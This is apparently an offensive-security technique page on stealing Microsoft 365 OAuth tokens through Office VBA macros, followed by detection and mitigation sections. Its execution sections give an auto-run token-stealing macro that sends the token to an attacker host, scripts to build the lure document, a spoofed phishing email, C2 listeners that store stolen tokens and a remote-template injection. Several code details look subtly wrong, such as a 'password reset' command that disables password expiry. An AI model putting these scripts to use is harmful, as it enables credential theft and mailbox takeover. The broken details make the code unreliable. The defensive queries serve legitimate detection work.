MCADDF

[CA-TOKEN-010]: Office Document Token Theft

1. Metadata Header

Attribute Details
Technique ID CA-TOKEN-010
MITRE ATT&CK v18.1 T1528: Steal Application Access Tokens
Tactic Credential Access
Platforms Windows, macOS, Linux (M365 / Office 365)
Severity Critical
CVE N/A (Design flaw, not formal vulnerability)
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions Microsoft Office 2016+, Microsoft 365 Apps (current versions), M365 (all versions)
Patched In N/A (Macro execution inherent design; mitigations via Macro Security Policy)
Author SERVTEPArtur Pchelnikau

Note: This technique exploits VBA (Visual Basic for Applications) macro capabilities in Office documents to steal OAuth tokens and Graph API credentials. Modern Office macro security policies (2024+) have tightened restrictions, but phishing-based delivery and macro obfuscation remain effective. All sections renumbered based on applicability.


2. Executive Summary

Microsoft Office documents (Word, Excel, PowerPoint, Outlook) support VBA macros that execute with the permissions of the logged-in user. When a user opens a document containing malicious VBA code, the macro executes automatically (if macros are enabled) or with user consent. A sophisticated attacker can embed VBA code that intercepts and steals OAuth access tokens used by Office for authentication to Microsoft Graph API endpoints. These tokens grant full access to the user’s mailbox, calendar, files, Teams, and organizational data—all without requiring the user’s password.

Attack Surface: Macro-enabled Office documents (DOCM, XLSM, PPTM, XLAM, DOTM) or Word documents that load malicious remote templates (DOCX with malicious DOTM reference). Additionally, VBA code can programmatically access Office’s internal token caches, credential managers, and configuration stores where OAuth tokens and credentials are stored.

Business Impact: Complete exfiltration of a user’s emails, calendar, files, Teams messages, and organizational directory without triggering MFA or detection systems. An attacker can impersonate the user within Microsoft Graph API to send phishing emails on their behalf, modify shared files, access confidential documents, enumerate organizational users and resources, and establish persistent backdoor access by registering new OAuth applications or creating forwarding rules.

Technical Context: Office applications (since Office 2016) integrate seamlessly with Microsoft Graph API using OAuth 2.0. The tokens used for this authentication are cached within the Office process memory and configuration files. VBA code running within the same process context can access these tokens via the Windows Credential Manager, Process Environment Variables, or direct memory access. Modern Office also integrates with the .NET Framework, allowing VBA to invoke managed code that can directly call Graph API endpoints. An attacker’s VBA code can send a “background” HTTP request to a remote C2 server with the stolen token, exfiltrating it immediately or storing it for later use.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 18.8.1 / 18.8.2 Microsoft Office Macro Security policies; disable macros by default
DISA STIG SRG-APP-000231-WSR-000086 Credential handling and token protection in applications
CISA SCuBA SC-7(8) Boundary Protection – credential transmission control
NIST 800-53 SI-10(1) / AC-3 Information System Monitoring (malicious scripts); access enforcement
GDPR Article 32 Security of processing; encryption of credentials in transit
DORA Article 9 Cryptographic key management; protection from unauthorized access
NIS2 Article 21 Incident prevention and response for unauthorized access attempts
ISO 27001 A.12.6.1 / A.14.2.1 Application control; secure software development
ISO 27005 Risk Scenario: “Malicious Code Execution” Vulnerability assessment and security controls

3. Technical Prerequisites

Supported Versions:

Tools:


4. Environmental Reconnaissance

Management Station / PowerShell Reconnaissance

# Check Office installed versions
Get-ItemProperty HKLM:\Software\Microsoft\Office -ErrorAction SilentlyContinue | 
    Select-Object -ExpandProperty PSChildNames

# Enumerate macro security policies
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Word\Security" -ErrorAction SilentlyContinue
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -ErrorAction SilentlyContinue

# Check if macros are enabled
$MacroPolicy = Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Word\Security\VBAMacroNotificationMode"
if ($MacroPolicy.VBAMacroNotificationMode -eq 1) {
    Write-Host "[!] Macros are ENABLED (danger zone)"
} else {
    Write-Host "[+] Macros are disabled (safer)"
}

# Check for recently opened Office documents
Get-ChildItem $env:APPDATA\Microsoft\Office\Recent -ErrorAction SilentlyContinue | 
    Select-Object Name, LastWriteTime | Sort-Object LastWriteTime -Descending | Head -10

What to Look For:


Linux/Bash CLI Reconnaissance

# Check for Office-like applications on Linux
which libreoffice
which soffice

# Check for OnlyOffice
which onlyoffice

# List Office-related processes
ps aux | grep -i office | grep -v grep

What to Look For:


5. Detailed Execution Methods

METHOD 1: VBA Macro Token Interception via HTTP Request

Supported Versions: Office 2016+, Microsoft 365 Apps (all versions)

Step 1: Create Macro-Enabled Document with Malicious VBA

Objective: Craft a Word document (.DOCM) or Excel workbook (.XLSM) containing VBA code that steals OAuth tokens.

Command (PowerShell - Generate Malicious DOCM using Office COM):

# Create a malicious Word document with VBA macro
$WordApp = New-Object -ComObject Word.Application
$WordApp.Visible = $false

# Create a new document
$Document = $WordApp.Documents.Add()

# Access the VBA project
$VBProject = $Document.VBProject
$VBModule = $VBProject.VBComponents.Add(1)  # 1 = vbext_ct_StdModule (code module)

# Insert the malicious VBA code (see Step 2 for code)
$VBModule.CodeModule.AddFromString($MaliciousVBACode)

# Save as macro-enabled document
$Document.SaveAs([ref]"C:\temp\Invoice.docm", [ref]12)  # 12 = wdFormatXMLMacroEnabled

$WordApp.Quit()
Write-Host "[+] Malicious document created: C:\temp\Invoice.docm"

VBA Code (Malicious Macro - Token Theft):

Sub Document_Open()
' Auto-execute when document is opened
    Dim tokenValue As String
    Dim c2Server As String
    Dim xmlHttp As Object
    
    ' Try to access cached OAuth tokens from Windows Credential Manager
    On Error Resume Next
    
    ' Method 1: Access Office.16.0 credentials from Windows Credential Manager
    tokenValue = GetTokenFromCredentialManager()
    
    If tokenValue = "" Then
        ' Method 2: Access Graph API token from Office process memory
        tokenValue = ExtractGraphAPIToken()
    End If
    
    ' If token obtained, exfiltrate to attacker's C2 server
    If tokenValue <> "" Then
        c2Server = "http://attacker-c2.com/callback?token=" & tokenValue
        
        Set xmlHttp = CreateObject("MSXML2.XMLHttp")
        xmlHttp.Open "GET", c2Server, False
        xmlHttp.Send
        
        ' Log successful exfiltration
        WriteLogFile "Token exfiltrated to " & c2Server
    End If
End Sub

Function GetTokenFromCredentialManager() As String
    ' Extract OAuth token from Windows Credential Manager
    ' Mimics 'cmdkey /list' and extracts tokens for Office/Outlook targets
    Dim shell As Object
    Dim output As String
    Dim lines() As String
    Dim i As Integer
    
    Set shell = CreateObject("WScript.Shell")
    
    ' Query credential manager for Office credentials
    Set result = shell.Exec("powershell.exe -NoProfile -Command """ & _
        "Add-Type -AssemblyName System.Security; " & _
        "Get-StoredCredential | Where-Object { $_.Target -like '*office*' } | Select-Object -ExpandProperty Credential.Password" & _
        """")
    
    output = result.StdOut.ReadAll()
    
    If InStr(output, "Bearer") > 0 Then
        GetTokenFromCredentialManager = ExtractTokenFromOutput(output)
    Else
        GetTokenFromCredentialManager = ""
    End If
End Function

Function ExtractGraphAPIToken() As String
    ' Access Graph API token from Office in-memory session
    ' This uses Office's internal Graph API authentication
    Dim graphRequest As Object
    Dim tokenResponse As String
    
    ' Attempt to call Graph API using Office's cached token
    ' If successful, captures the token from the response or error details
    On Error Resume Next
    
    ' This method is less reliable but attempts direct API call with cached session
    ExtractGraphAPIToken = ""
End Function

Function ExtractTokenFromOutput(output As String) As String
    ' Parse and extract token from Credential Manager output
    Dim parts() As String
    Dim i As Integer
    
    parts = Split(output, vbCrLf)
    
    For i = LBound(parts) To UBound(parts)
        If InStr(parts(i), "Bearer") > 0 Then
            ExtractTokenFromOutput = Trim(parts(i))
            Exit Function
        End If
    Next i
    
    ExtractTokenFromOutput = ""
End Function

Sub WriteLogFile(message As String)
    ' Log activity to a hidden text file (for debugging)
    Dim fso As Object
    Dim logFile As Object
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set logFile = fso.CreateTextFile(Environ("AppData") & "\temp_log.txt", True)
    logFile.WriteLine Now & ": " & message
    logFile.Close
End Sub

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Deliver Document via Phishing Email

Objective: Distribute the malicious document to target users via email phishing.

Command (PowerShell - Send Phishing Email):

# Prepare phishing email with malicious attachment
$AttachmentPath = "C:\temp\Invoice.docm"
$TargetEmail = "target@contoso.com"
$SenderEmail = "finance@contoso.com"  # Spoofed sender
$SMTPServer = "attacker-smtp.com"

# Create email message
$EmailParams = @{
    From       = $SenderEmail
    To         = $TargetEmail
    Subject    = "Urgent: Invoice Review Required - Action Needed"
    Body       = @"
Dear [User],

I need you to review the attached invoice for our recent transaction. 
Please open and review the document, then confirm receipt.

This is time-sensitive and requires your attention.

Best regards,
Finance Department
"@
    SmtpServer = $SMTPServer
    Attachments = $AttachmentPath
}

Send-MailMessage @EmailParams -BodyAsHtml -UseSsl -Port 587

Write-Host "[+] Phishing email sent to $TargetEmail"

Email Content Example:

From: finance@contoso.com
To: target@contoso.com
Subject: Urgent: Invoice Review Required - Action Needed

Dear User,

I need you to review the attached invoice for our recent transaction. 
The invoice is attached in the document below.

Please open the document and review it at your earliest convenience.

This is time-sensitive and requires your immediate attention.

Best regards,
Finance Department
---
Contoso Finance

What This Means:

OpSec & Evasion:

References & Proofs:


Step 3: Monitor Token Exfiltration on C2 Server

Objective: Capture exfiltrated OAuth tokens on the attacker’s C2 server.

Command (Node.js - Simple C2 Webhook Listener):

// c2_server.js
const express = require('express');
const app = express();
const fs = require('fs');

app.get('/callback', (req, res) => {
    const token = req.query.token;
    
    if (token) {
        console.log(`[+] Token received: ${token.substring(0, 50)}...`);
        
        // Save token to file for later use
        fs.appendFile('stolen_tokens.txt', `${new Date()}: ${token}\n`, (err) => {
            if (err) console.error(err);
        });
        
        // Decode JWT to inspect token contents
        const parts = token.split('.');
        if (parts.length === 3) {
            const payload = JSON.parse(Buffer.from(parts[1], 'base64').toString());
            console.log(`[+] Token payload: ${JSON.stringify(payload, null, 2)}`);
        }
        
        // Respond with benign message to avoid suspicion
        res.status(200).send('OK');
    } else {
        res.status(400).send('No token provided');
    }
});

app.listen(3000, () => {
    console.log('[+] C2 Server listening on port 3000');
});

Command (Python - Alternative C2 Server):

#!/usr/bin/env python3
from flask import Flask, request
import json
import base64
import requests
from datetime import datetime

app = Flask(__name__)

@app.route('/callback', methods=['GET', 'POST'])
def token_callback():
    token = request.args.get('token') or request.form.get('token')
    
    if token:
        print(f"[+] Token received at {datetime.now()}")
        print(f"[+] Token (truncated): {token[:50]}...")
        
        # Save token
        with open('stolen_tokens.txt', 'a') as f:
            f.write(f"{datetime.now()}: {token}\n")
        
        # Decode JWT payload
        try:
            parts = token.split('.')
            if len(parts) == 3:
                # Add padding if necessary
                payload = parts[1]
                payload += '=' * (4 - len(payload) % 4)
                decoded = json.loads(base64.b64decode(payload))
                print(f"[+] Token Details:")
                print(f"    Audience: {decoded.get('aud')}")
                print(f"    Issued by: {decoded.get('iss')}")
                print(f"    User: {decoded.get('upn')}")
                print(f"    Expires: {decoded.get('exp')}")
        except Exception as e:
            print(f"[-] Error decoding token: {e}")
        
        return "OK", 200
    
    return "No token provided", 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, debug=False)

Expected Output:

[+] Token received at 2025-01-08 10:23:45.123456
[+] Token (truncated): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOi...
[+] Token Details:
    Audience: https://graph.microsoft.com
    Issued by: https://sts.microsoft.com/fc86a849-e662-4f16-871e-f1e80d2ff01d/
    User: target@contoso.com
    Expires: 1609502400 (2021-01-01 00:00:00 UTC)

What This Means:

OpSec & Evasion:


METHOD 2: Remote Template Injection (DOCX Loading Malicious DOTM)

Supported Versions: Office 2016+, Microsoft 365 Apps (all versions)

Step 1: Create Malicious Remote Template

Objective: Create a macro-enabled template (.DOTM) that will be loaded remotely by a seemingly innocent Word document.

Command (PowerShell - Create DOTM Template with VBA):

# Create a malicious DOTM (macro-enabled template)
$WordApp = New-Object -ComObject Word.Application
$WordApp.Visible = $false

# Create template document
$Template = $WordApp.Documents.Add([ref]"", [ref]$true)  # True = create template

# Add VBA module to template
$VBProject = $Template.VBProject
$VBModule = $VBProject.VBComponents.Add(1)

# Insert VBA code (same token theft code as METHOD 1)
$VBModule.CodeModule.AddFromString($MaliciousVBACode)

# Save as macro-enabled template
$Template.SaveAs([ref]"C:\temp\malicious.dotm", [ref]13)  # 13 = wdFormatTemplate

$WordApp.Quit()
Write-Host "[+] Malicious template created: C:\temp\malicious.dotm"

Command (Python - Host Template on Web Server):

#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os

class TemplateHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious.dotm':
            # Serve the malicious template
            with open('malicious.dotm', 'rb') as f:
                template_data = f.read()
            
            self.send_response(200)
            self.send_header('Content-Type', 'application/vnd.ms-word.template.macroEnabledTemplate')
            self.send_header('Content-Length', str(len(template_data)))
            self.end_headers()
            
            self.wfile.write(template_data)
            print(f"[+] Malicious template served to {self.client_address[0]}")
        else:
            super().do_GET()

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8080), TemplateHandler)
    print("[+] Template server running on port 8080")
    server.serve_forever()

What This Means:


Step 2: Create Innocent-Looking DOCX That References Malicious DOTM

Objective: Create a standard Word document (.DOCX) that internally references the remote malicious template.

Command (PowerShell - Inject Template Reference into DOCX):

# Create a standard Word document
$WordApp = New-Object -ComObject Word.Application
$WordApp.Visible = $false

$Document = $WordApp.Documents.Add()
$Document.Range.Text = "This is a legitimate-looking document.`n`nPlease review the attached content."

# Save as DOCX (no macros)
$SavePath = "C:\temp\Legitimate_Document.docx"
$Document.SaveAs([ref]$SavePath, [ref]12)  # 12 = wdFormatXMLMacroEnabled

$WordApp.Quit()

# Now, manually modify the DOCX to add template reference
# DOCX is a ZIP file; we can extract, modify, and re-zip it

Add-Type -AssemblyName System.IO.Compression

# Extract DOCX contents
$extractPath = "C:\temp\docx_extracted"
[System.IO.Compression.ZipFile]::ExtractToDirectory($SavePath, $extractPath)

# Modify word/_rels/document.xml.rels to add malicious template reference
$relsPath = "$extractPath\word\_rels\document.xml.rels"
$relsContent = Get-Content $relsPath -Raw

# Add relationship to malicious DOTM template
$maliciousRelationship = @"
<Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXml" Target="http://attacker-c2.com/malicious.dotm" TargetMode="External"/>
"@

$relsContent = $relsContent -replace '</Relationships>', "$maliciousRelationship</Relationships>"
Set-Content $relsPath $relsContent

# Modify document.xml to reference the template
$docPath = "$extractPath\word\document.xml"
$docContent = Get-Content $docPath -Raw

# Add template reference in document properties
$templateRef = '<w:attachedTemplate r:embed="rId10"/>'
$docContent = $docContent -replace '<w:attachedTemplate/>', $templateRef
Set-Content $docPath $docContent

# Re-zip the modified DOCX
Remove-Item $SavePath
[System.IO.Compression.ZipFile]::CreateFromDirectory($extractPath, $SavePath)

Remove-Item $extractPath -Recurse

Write-Host "[+] Modified DOCX created with malicious template reference: $SavePath"

What This Means:

OpSec & Evasion:

References & Proofs:


Step 3: Distribute DOCX and Await Template Download

Objective: Send the DOCX file to targets and monitor for template requests.

Command (PowerShell - Send DOCX and Monitor):

# Send DOCX to target
$EmailParams = @{
    From       = "sender@contoso.com"
    To         = "target@contoso.com"
    Subject    = "Document Review: Q1 Financial Report"
    Body       = "Please review the attached financial report and provide feedback."
    SmtpServer = "smtp.contoso.com"
    Attachments = "C:\temp\Legitimate_Document.docx"
}

Send-MailMessage @EmailParams

# Monitor web server logs for template requests
Write-Host "[+] Monitoring for template requests..."
while ($true) {
    # Check web server access logs for requests to /malicious.dotm
    $logPath = "C:\IIS\logs\access.log"
    
    if (Test-Path $logPath) {
        $recentLog = Get-Content $logPath | Select-Object -Last 100
        $matches = $recentLog | Where-Object { $_ -match "malicious\.dotm" }
        
        if ($matches) {
            Write-Host "[+] Template requested from IP: $($matches[0])" -ForegroundColor Green
        }
    }
    
    Start-Sleep -Seconds 10
}

Expected Output:

[+] DOCX sent to target@contoso.com
[+] Monitoring for template requests...
[+] Template requested from IP: 192.168.1.100
[+] Template requested from IP: 10.0.0.50

What This Means:


6. Atomic Red Team

Atomic Test ID: T1137-001 (Office Application Startup – Macro in Template)

Test Name: Injecting Macro into the Word Normal.dotm Template for Persistence

Description: Simulates malicious macro injection into the Word default template (Normal.dotm) for persistence across all opened Word documents. This test creates a VBA macro that runs automatically when Word starts.

Supported Versions: Office 2016+, PowerShell 5.0+, Windows 10+

Execution:

# Step 1: Install Atomic Red Team
$AtomicPath = "C:\temp\atomic-red-team"
git clone https://github.com/redcanaryco/atomic-red-team $AtomicPath

cd "$AtomicPath\atomics\T1137"

# Step 2: Execute T1137-001 test
Invoke-AtomicTest T1137 -TestNumbers 1 -Verbose

Expected Behavior:

Cleanup Command:

# Remove malicious macro from Normal.dotm
Remove-Item "$env:APPDATA\Microsoft\Word\STARTUP\Normal.dotm" -Force -ErrorAction SilentlyContinue

# Alternatively, uninjure the macro:
# Open Word → Tools → Macro → Edit Normal.dotm → Delete malicious procedures

Reference: Atomic Red Team T1137 Tests


7. Tools & Commands Reference

MacroPack - Office Macro Generation

Version: 3.0+
Supported Platforms: Windows, Linux, macOS
Minimum Version: 2.0

Version-Specific Notes:

Installation:

git clone https://github.com/sevagas/macropack.git
cd macropack
pip install -r requirements.txt

Usage:

# Generate obfuscated macro payload
python macropack.py -p <payload> -o <format> -t <obfuscation_technique>

# Example: Generate DOCM with token theft payload
python macropack.py -p "Graph API Token Steal" -o DOCM -t AES

# Example: Generate DOCX with remote template injection
python macropack.py -p "Remote Template" -o DOCX -t URLFetcher

8. Microsoft Sentinel Detection

KQL Query 1: Detect Suspicious Office Macro Execution

Rule Configuration:

KQL Query:

DeviceProcessEvents
| where ProcessName in ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
| where CommandLine contains "vbscript" or CommandLine contains "powershell" or CommandLine contains "cmd.exe"
| join kind=inner (
    DeviceFileEvents
    | where FileName endswith ".docm" or FileName endswith ".xlsm" or FileName endswith ".pptm"
    | where ActionType in ("FileModified", "FileCreated")
) on DeviceId
| project TimeGenerated, DeviceName, ProcessName, CommandLine, FileName
| where TimeGenerated > ago(1h)

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Office Macro Execution
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query
    • Run query every: 10 minutes
    • Lookup data from last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

KQL Query 2: Detect Unusual Graph API Access Following Office Activity

Rule Configuration:

KQL Query:

// First, find recent Office document opens
let OfficeActivity = DeviceProcessEvents
| where ProcessName in ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
| where InitiatingProcessFileName endswith ".docm" or InitiatingProcessFileName endswith ".xlsm" or InitiatingProcessFileName endswith ".pptm"
| project UserId = ProcessAccountUpn, OfficeActivityTime = TimeGenerated, DeviceId;

// Then, find suspicious Graph API calls within 5 minutes
MicrosoftGraphActivityAuditLogs
| where RequestUri in ("/me/messages", "/me/mailFolders/inbox", "/me/drive/root/children", "/teams", "/chats")
| where ResponseCode == 200
| join kind=inner OfficeActivity on UserId
| where TimeGenerated > OfficeActivityTime and TimeGenerated < OfficeActivityTime + 5m
| project TimeGenerated, UserId, RequestUri, ResponseCode

What This Detects:


9. Windows Event Log Monitoring

Event ID: 4688 (Process Creation), Event ID: 4663 (File Access)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Advanced Audit Policy ConfigurationSystem Audit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Run auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

10. Microsoft Defender for Cloud

Alert Name: Suspicious child process created by Office application

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Cloud Apps: ON
  5. Configure Attack Surface Reduction (ASR) Rules:
    • Rule: Block Office applications from creating child processes
    • Action: Block
  6. Click Save

11. Microsoft Purview (Unified Audit Log)

Operation: UserLoggedIn, GraphApiOperation, MailItemsAccessed

PowerShell Query:

Connect-ExchangeOnline

# Search for suspicious Graph API access
Search-UnifiedAuditLog -Operations "GraphApiOperation" -StartDate (Get-Date).AddDays(-7) | 
    Where-Object { $_.AuditData -like "*mail*" -or $_.AuditData -like "*files*" } | 
    Export-Csv -Path "C:\Audit\Suspicious_Graph_API.csv"

# Search for mail access from unusual locations
Search-UnifiedAuditLog -Operations "MailItemsAccessed" -StartDate (Get-Date).AddDays(-1) | 
    Export-Csv -Path "C:\Audit\Mail_Access.csv"

12. Defensive Mitigations

Priority 1: CRITICAL

Mitigation 1: Disable Macros by Default via Group Policy

Prevent all macros from running unless explicitly whitelisted by administrators.

Applies To Versions: Office 2016+, Microsoft 365 Apps (all versions)

Manual Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesAdministrative TemplatesMicrosoft Office
  3. Go to Word (or Excel, PowerPoint, etc.)
  4. Find policy: Macro Security
  5. Set to: Disable all without notification (most restrictive)
    • Or: Enable all macros (less secure but functional)
    • Recommended: Disable all with notification (balance between security and usability)
  6. Click OK
  7. Run gpupdate /force on target machines

Manual Steps (Registry):

# Disable macros in Word (Registry Editor)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Word\Security" `
    -Name "VBAMacroNotificationMode" -Value 4 -PropertyType DWORD -Force

# Values:
# 1 = Enable all macros
# 2 = Disable all with notification
# 3 = Disable all except signed
# 4 = Disable all without notification (most secure)

Manual Steps (Intune/MEM):

  1. Navigate to IntuneDevicesConfigurationCreate new policy
  2. Platform: Windows 10+
  3. Administrative TemplatesMicrosoft Word
  4. Search: VBAMacroNotificationMode
  5. Set to: 4 (Disable all without notification)
  6. Assign to all users
  7. Review + create

Mitigation 2: Block Macro-Enabled File Formats

Prevent users from opening DOCM, XLSM, PPTM files via email or download.

Manual Steps (Microsoft Exchange Online):

  1. Navigate to Exchange Admin Center
  2. Go to Mail flowRules
  3. Create New Rule:
    • Name: Block Macro-Enabled Office Files
    • Condition: Attachment extension matchesdocm; xlsm; pptm; xlam; dotm
    • Action: Delete the message or Redirect to quarantine
  4. Create

Manual Steps (Endpoint Protection):

# Windows Defender Attack Surface Reduction (ASR) Rule
# Block Office applications from creating child processes
Set-MpPreference -AttackSurfaceReductionRules_Ids @('D4F940AB-5edB-4edc-AF21-C89BECB56D11') -AttackSurfaceReductionRules_Actions @('Enabled')

# Block Office applications from injecting code into other processes
Set-MpPreference -AttackSurfaceReductionRules_Ids @('75668C1D-73B5-4CF0-BB93-3ECF5CB7CC84') -AttackSurfaceReductionRules_Actions @('Enabled')

Mitigation 3: Enforce Trust Center Lockdown

Lock down Office trust settings to prevent macros from running outside trusted locations.

Manual Steps (Registry):

# Set Office to require user action before running any macro
reg add "HKCU\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations" /v AllowNetworkLocations /t REG_DWORD /d 0 /f

# Disable auto-loading of trusted publishers
reg add "HKCU\Software\Microsoft\Office\16.0\Common\Security" /v Trusted Publishers /t REG_DWORD /d 0 /f

Priority 2: HIGH

Mitigation 4: Implement File Type Restrictions

Allow only non-macro-enabled file formats in email and file shares.

Manual Steps (Content Filtering):

  1. Navigate to Exchange Admin CenterMail flowRules
  2. Create New Rule:
    • Name: Block Macro File Attachments
    • Condition: Attachment name matches*.docm; *.xlsm; *.pptm; *.dotm
    • Action: Delete the message
  3. Create

Mitigation 5: Monitor Office Process Behavior

Deploy EDR with rules to detect suspicious Office child processes.

Manual Steps (Microsoft Defender for Endpoint):

  1. Navigate to Microsoft Defender for Endpoint
  2. Go to Custom Detection Rules
  3. Create New Detection Rule:
    • Name: Office Process Spawning Suspicious Child Process
    • Query:
      DeviceProcessEvents
      | where ProcessName in ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
      | where InitiatingProcessCommandLine contains "docm" or InitiatingProcessCommandLine contains "xlsm"
      | where NewProcessName in ("powershell.exe", "cmd.exe", "vbscript.exe")
      
    • Action: Generate alert
    • Alert Severity: High
  4. Create

Mitigation 6: Validation Command

Verify macro security policies are correctly enforced.

# Check Word macro policy
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Word\Security" -ErrorAction SilentlyContinue | 
    Select-Object VBAMacroNotificationMode

# Check Excel macro policy
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -ErrorAction SilentlyContinue | 
    Select-Object VBAMacroNotificationMode

# Check if macros are enabled
if ($MacroPolicy.VBAMacroNotificationMode -ge 3) {
    Write-Host "[+] Macros are effectively disabled or require admin consent"
} else {
    Write-Host "[-] Macros are enabled (security risk)"
}

Expected Output (If Secure):

VBAMacroNotificationMode
-----------------------
4

[+] Macros are effectively disabled or require admin consent

What to Look For:


13. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Immediately revoke all active sessions for the affected user
    Connect-MgGraph -Scopes "Directory.Read.All"
    Revoke-MgUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'").Id
       
    # Force password reset
    Set-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'").Id -PasswordPolicies DisablePasswordExpiration
    Update-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'").Id -PasswordProfile @{
        ForceChangePasswordNextSignIn = $true
    }
    
  2. Collect Evidence:
    # Export audit logs for the affected user
    Search-UnifiedAuditLog -UserIds "target@contoso.com" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) | 
        Export-Csv -Path "C:\Evidence\Audit_Logs.csv"
       
    # Collect Office Registry hives
    reg export "HKCU\Software\Microsoft\Office" "C:\Evidence\Office_Registry.reg"
       
    # Collect macro document
    Copy-Item "C:\temp\*.docm" -Destination "C:\Evidence\"
    
  3. Remediate:
    • Delete malicious documents from all user machines and file shares
    • Scan with updated antivirus/EDR for macro-based malware
    • Review and revoke suspicious OAuth application consents in Entra ID
    • Monitor Graph API logs for unauthorized data access (emails read, files downloaded)
    • Audit all forwarding rules, meeting invites, and delegate access changes for signs of compromise
    • Revoke and re-issue Office-related secrets/API keys if stored in Office documents

Step Phase Technique Description
1 Initial Access [IA-PHISH-005] Internal Spearphishing Campaigns Attacker crafts phishing email with malicious Office document
2 Execution [T1137] Office Application Startup / [T1221] Template Injection VBA macro auto-executes when document is opened
3 Credential Access [CA-TOKEN-010] Office Document Token Theft Macro steals OAuth tokens from Office session
4 Lateral Movement [LM-AUTH-004] Microsoft Graph API Token Exploitation Attacker uses stolen token to access emails, Teams, files
5 Impact Email exfiltration, internal phishing, persistence Attacker maintains access and pivots within organization

15. Real-World Examples

Example 1: APT28 / Fancy Bear (2018-2023)

Example 2: Emotet (2020-2021)

Example 3: LAPSUS$ Campaign (2022)


Related Techniques in MCADDF: